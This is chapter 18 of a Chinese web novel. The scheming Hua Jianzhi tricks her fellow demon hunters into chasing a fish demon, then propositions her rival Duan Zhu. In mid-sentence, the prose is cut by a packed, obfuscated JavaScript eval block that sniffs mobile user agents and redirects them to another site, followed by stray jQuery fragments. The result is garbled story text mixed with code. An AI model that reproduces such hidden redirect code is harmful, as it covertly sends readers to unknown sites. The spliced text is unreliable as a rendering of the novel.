18. 十八
作品:《恶毒大小姐又在行侠仗义》 打好自己的算盘,花剑知在路上摘了些喂马的草,一路抱着,回到客栈的后院。天已经彻底沉了下去,在一片灰暗中,唯有撕裂空气的风在尖声呼号。受本能的驱使,花剑知猛地侧过身去,躲过飞向自己的鞭子。
“不好意思,花小姐。”害人不成,段烛收回鞭子,语气中只有遗憾,不带丝毫歉意,“我在专心练习,没注意到你出现。”
花剑知差不多已经习惯和段烛唇枪舌剑、相互算计的生活了,她也懒得骂他,语气淡然道:“段公子也不怕把我抽死了。”
段烛微微一笑:“花小姐要是连我这一鞭都躲不过,怎么算得上合格的捉妖师?”
“我看你挺闲的,帮我把马喂了。”花剑知走到段烛面前,不由分说把鲜草塞进段烛怀里,又抽走他手里的鞭子,耀武扬威般在他面晃前了两下,“这鞭子,先借我玩玩。”
自己最重要的武器被人轻轻松松拿走,段烛却丝毫不生气。他瞥了一眼花剑知,当真就乖乖听话,转头去马厩里忙活了。
一会要用鞭子抽死她,一会又听她指使安分干活。这人每天阴晴不定的,真不知道明瑕和宋长岁怎么受得了他的脾气。花剑知一边想,一边坐到一旁的石凳上,把玩段烛的武器。
段烛在马厩里忙前忙后,声音也随着他的动作忽高忽低:“花小姐,可曾看出什么玄机?”
花剑知撑着脸颊,随意答道:“没有。”
鞭子的把手处有一个小巧的阵法,是用来引导灵力的——这在捉妖师使用的武器中相当常见。段烛的鞭子根本没有什么独到之处,花剑知失望地叹口气。
“那是当然。”给四匹马分好食物,段烛从马厩里走出,来到花剑知身旁。他弯腰趴在石桌上,一只胳膊撑着下巴,另一只胳膊时不时拨弄一下花剑知手里的鞭子,竟然表现出了乖顺的模样,“难不成花小姐以为这是什么上古神器,还能和妖王决一死战不成?”
知彼知己,百战不殆。武器是捉妖师生命的一部分,要想对付段烛,自然要了解他的鞭子。花剑知早就想研究一番,谁知今日却一无所获。她歪头想了想,索性直接挑明自己的心思:“你姥姥既然是段易虹,就没给你留下过什么法宝?”
“悬崖山看重的是天分,而非血脉。段易虹是天才,和段烛没有关系。”提起段易虹,段烛的脸色忽然变了,他一把将鞭子夺走,重新别到腰上,“更何况,就算她真留下了什么,我还能告诉你吗?我又不蠢。”
防备心过重的男人最没有意思。花剑知一撇嘴,向段烛做了个鬼脸。
“天色不早了,花小姐赶快回去休息罢。”段烛没有花剑知那样任性,他指望她斩杀鹏鸟,可不想看她半路就倒下,“路上看你都快累死了,现在怎么又活蹦乱跳的?别忘了我们明天就要启程。”
“谁说我累了?”提起自己的腿伤,花剑知有点恼,但她还有计划在身,绝不能乱了情绪,因而克制道,“至于启程的时间,我看也不好说。”
段烛一听就知道花剑知又要搞什么阴谋,立马皱起眉:“什么意思?”
“自己猜咯。”花剑知俏皮地眨眨眼,一转身,往客栈里跑去,冲明瑕大声喊道,“阿瑜!阿瑜!快来,我有急事要和你说。”
花剑知要说的自然是鱼妖的问题。
她把和老曹的交谈掐头去尾,又进行了二次创作,才将消息告知给众人。在她的版本中,老曹只是一个普通的客栈掌柜,和她闲谈的时候,偶然透露出了他最近听说的一件大事:炎南附近的瀑布里住了一只鱼妖,最近为非作歹,害死了不少人。当地官员开出高价,求人解决这个麻烦,然而几个月过去,捉妖师们不仅没能杀死鱼妖,还丢了自己的性命。如今炎南民心惶惶,整日因鱼妖担惊受怕,当官的束手无措,已然陷入了绝境。
不等花剑知说完,段烛便质疑起她:“我们一路过来,只遇上过一些还未化形的小妖怪,怎么一到客栈,立马就出现了害人的妖怪?当地恰好解决不了,掌柜恰好知道,又恰好告诉了你?花小姐,要说谎,麻烦你开口前先捋好自己的逻辑。”
“是老曹说的,有问题你问他,我只是把我知道的先告诉你们。”最终做决定的是明瑕,段烛的意见在队伍里无关紧要,花剑知才不怕他的质问,无理取闹似的一摊手,“现在需要商量的是,到底要不要处理这只妖怪?”
这女人分明是在为自己的利益谋事,说得却好像为了大家一样!段烛不由抬高音量,和她拌嘴:“我们的时间本来就不多!在路上耽搁一日,那鹏鸟就有一日逃走的可能。说不定它现在已经飞走,去害人,去筹备大阴谋了!鹏鸟对人间的危害是其他妖怪不能比的,难道要舍本逐末,放任鹏鸟在外壮大势力?”
听了段烛的话,保持沉默的明瑕抬起双眼。
“段公子,不要激动。”花剑知笑嘻嘻地安抚他,“所以我们现在还在商量,并没有决定——两害相权取其轻嘛。阿瑜,宋公子,你们怎么想?是直接走,还是……”
段烛仍要和她争:“今日管一只妖怪,明日再管一只妖怪,照这么下去,我们永远到不了百川!”
“那就去追鹏鸟,”花剑知卷着碎发,漫不经心道,“至于炎南百姓的生活,和我们没关系。”
“不。”
明瑕坚定地驳回了段烛的决定。
她双手拍在桌子上,站起身,神色肃穆地扫过自己的同伴,义正词严道:“我们悬崖山的原则,是为民除妖,而非为钱除妖。如今眼前就有妖怪作乱,又怎能坐视不理?”
可这完全是着了花剑知的道!
段烛大叹一口气,头痛地捂住额头。
“师兄,我知道你有自己的观点,可是,”段烛刚想说话,明瑕连忙打断了他,“可是若我们违背本心,就不配做悬崖山的后人。无论鱼妖的传言是不是真的,我们都得亲自去确认。我们必须确保自己途经的地方,不会有人再因妖怪而死——这是下山前师母对我们做的唯一要求,不是吗?”
明瑕!
花剑知嘴角的弧度越来越大,她真的是太喜欢、太喜欢明瑕了!
不管她设下的陷阱多么蹩脚,正义又天真的明瑕都会毫不犹豫地跳下去——这能帮花剑知扫平无数麻烦!她恨不得当着三人的面捧腹大笑,嘲笑明瑕的可怜与可悲!
“那太好了,我们明天就动身吧!”花剑知双手合十,轻轻击掌,“老曹说那个瀑布距离我们只有一天的路程,咱们速战速决,很快就能重新上路。”
宋长岁没有主意,只听明瑕安排;花剑知又是阴谋的策划人;段烛没有帮手,孤立无援,只能冷声呵斥一句:“真是胡闹。”
“我有一个想法。”一直被众人忽视的宋长岁突然开口,“我们去杀鱼妖,但是放弃悬赏,怎么样?”
宋长岁的提议如当头棒喝,花剑知的笑脸马上消失了:“放弃?不进城吗?”
“不错。”宋长岁点点头,“杀完妖怪,我们立刻走人,省得和官家那些繁文缛节打交道。这样,既能除妖,又能节省时间,两全其美。”
“可以!”这个主意堪称完美,段烛瞬间来了精神,赶紧表达自己的意见,“我同意这个决定。”
花剑知的笑容忽扬忽落,半晌过去,她才控制好自己的表情:“不进城,就拿不到奖赏。你们身上的盘缠还够用吗?”
他们这一路的吃住费用是自负盈亏,各付各的钱。虽说临行前,花朝露给了四人一些路费,但为了赶路轻便,那路费也不算多——至少对花剑知来说不算多。
当然,花剑知不需要担心钱的问题,就算她花光了,也自有地方上的官员屁颠颠来给她
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14963102|161137||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
上贡。但另三位就得仔细考虑收支问题了,凡事都要节省着来。
“撑到下一个地方,肯定是够的。”段烛笑道,“再说,就算我们没钱了,花小姐不还可以替我们应付吗?您人美心善,恐怕不会忍心让我们在桥底下打地铺吧?”
提到钱的时候开始对她美言了!
世界上竟然有段烛这等厚脸皮的人,花剑知真要被气笑了:“我出发时就打算承包路上的费用,那时候各位拒绝了。现在,我就当大家又给了我一个机会吧。我们的行程就按宋公子的来,直接杀,不进城。”
没想到花剑知答应得这么爽快,甚至连一句反驳的话都没说,段烛惊讶地抬眉。
“那我今晚就布下阵法,追踪鱼妖的具体位置。”说罢,宋长岁站起身,“我先去做准备。”
明瑕也紧跟着离开:“我去和老曹说一下,把我们的房间多留一晚。”
两人不愿待在花剑知和段烛焦灼的氛围里,一溜烟消失了。
他们一走,段烛马上打开天窗说亮话。搅乱了花剑知的计划,他的笑容得意:“都说本性能改,花小姐才离家几天,又想捡起猎妖的老本行了——可惜啊,被我们反将一军,计划破灭了。”
计划的确被打乱了,但花剑知不着急。
她既然能说服他们去杀鱼妖,就能想办法说服他们进城。
反倒是段烛,被她看穿了一些事情。
“段公子如果想让明瑕不相信我,直接说我是猎妖师不就行了?”
她边说边来到段烛身边,在他耳侧低声道:“你们十几年的师兄妹,照理来说,应是无话不谈、亲密无间的。可实际上,你却向她隐瞒了重大的消息,不愿和她说实话。”
“——其实你根本没有把她当亲人,而是在心里偷偷算计她。对不对?”
她微笑着,用眼角的余光打量他的反应。
如她预料中的,她的话音刚落,段烛的杀气便在瞬间布满全身,那双怒火中烧的眼睛,仿佛要将她烧成灰烬。
段烛用力将花剑知推开,拉远两人之间的距离。他皮笑肉不笑,好像底线终于被踏破了一般:“花小姐慎言!不要以为你是皇帝器重的人,就能……”
“就能怎样?”花剑知挑衅道。
人终究是利益动物,不能让情绪压倒理智。段烛是悬崖山的人,和明瑕一样,他铭记师母教诲,要为民除妖。可他没有杀死鹏鸟的力量,只能向花剑知寻求帮助。因此,不管花剑知多么猖狂、多么狠毒,他都不可能,也没有实力对她下死手。
本质上讲,他们之间并不存在明争暗斗,是花剑知不想和他计较,放任他冒犯自己而已。
“你们需要我,不是吗?”她重新靠到段烛面前,两只胳膊轻轻压在他的肩上,温热的鼻息在两人的脸庞间流转,明媚的笑脸在段烛眼中绽开,“其实你很清楚,要是我想让你们死,在江安的时候,你们早就死了。”
花剑知承认,“悬崖山”这个名号,一开始的确吓到了她。
但几天下来,她已经发现,这三个人并没有什么寻常之处,论实力,他们不如自己;论阴谋诡计,他们更斗不过自己。
悬崖山已不复往昔,根本没什么好怕的。
“我们从一开始就不是平等的。你们愿意和我上路,是因为想除掉鹏鸟,你们只能依靠我。而我愿意带你们上路,一是为了路上解闷,二是为了找人兜底,三是因为……”花剑知的手指划过段烛纤细的睫毛、细腻的脸和乌黑的鬓发,“你长得好看,虽然性格古怪,但也挺有意思,我喜欢你。”
终于,花剑知说出了从她第一次看见段烛时,就想说的话:“不如放弃捉妖师这一行,来给我当面首吧?钱不缺你的,房子给你准备最好的,进了我花家的家门,你想做什么就做什么,怎么样?”